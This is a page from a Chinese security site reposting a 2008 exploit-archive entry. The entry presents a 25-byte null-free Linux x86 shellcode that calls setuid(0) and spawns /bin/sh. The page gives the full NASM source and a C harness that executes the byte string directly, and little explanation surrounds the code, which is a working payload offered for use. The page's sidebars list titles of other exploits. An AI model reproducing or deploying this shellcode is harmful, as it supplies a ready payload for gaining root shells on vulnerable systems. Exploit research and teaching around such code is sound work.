首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
linux/x86 setuid(0) & execve(/bin/sh,0,0) shellcode 25 bytes
来源:http://opensec.es 作者:Garcia 发布时间:2008-11-24  
SMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE WITHOUT NULLS THAT SPAWNS A SHELL

History:
   + v1.0 (27 bytes) => http://opensec.es/2008/11/14/gnulinux-x86-setuid0-execvebinsh00-shellcode-without-null/
   + v2.0 (26 bytes) => (http://vlan7.blogspot.com/) http://packetstormsecurity.org/filedesc/smallest_setuid_execve_sc.c.html

v3.0 (25 bytes)
################

[NASM_SOURCE_CODE]
global _start
section .text
_start:
;setuid
xor ecx,ecx
lea eax,[ecx+17h];setuid syscall
int 80h
;execve
push ecx;ecx = 0
push 0x68732f6e ;sh/
push 0x69622f2f ;nib//
mov ebx,esp;pointer to "struct pt_regs"
lea eax,[ecx+0Bh];execve syscall
int 80h
[/NASM_SOURCE_CODE]

[C_SOURCE_CODE]
#include <stdio.h>

const char shellcode[]=    "\x31\xc9\x8d\x41\x17\xcd\x80\x51\x68\x6e\x2f\x73"
           "\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80";

int main()
{
   printf("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE WITHOUT NULLS THAT SPAWNS A SHELL"
           "\n\nCoded by Chema Garcia (aka sch3m4)"
           "\n\t + sch3m4@opensec.es"
           "\n\t + http://opensec.es"
           "\n\n[+] Date: 22/11/2008"
           "\n\n[+] Thanks to: vlan7"
           "\n\n[+] Shellcode Size: %d bytes\n\n",sizeof(shellcode)-1);
         (*(void (*)()) shellcode)();

   return 0;
}
[/C_SOURCE_CODE]

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft XML Core Services DT
·LoveCMS 1.6.2 Final (Simple Fo
·Discuz! Reset User Password Vu
·linux/x86 execve(/bin/sh,0,0)
·Oracle Database Vault ptrace(
·linux/x86 connect-back port UD
·vBulletin 3.7.3 Visitor Messag
·linux/x86 append rsa key to /r
·PHP-Fusion 7.00.1 (messages.ph
·KVIrc 3.4.2 Shiny (uri handler
·wPortfolio <= 0.3 Admin Passwo
·PunBB Mod PunPortal 0.1 Local
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved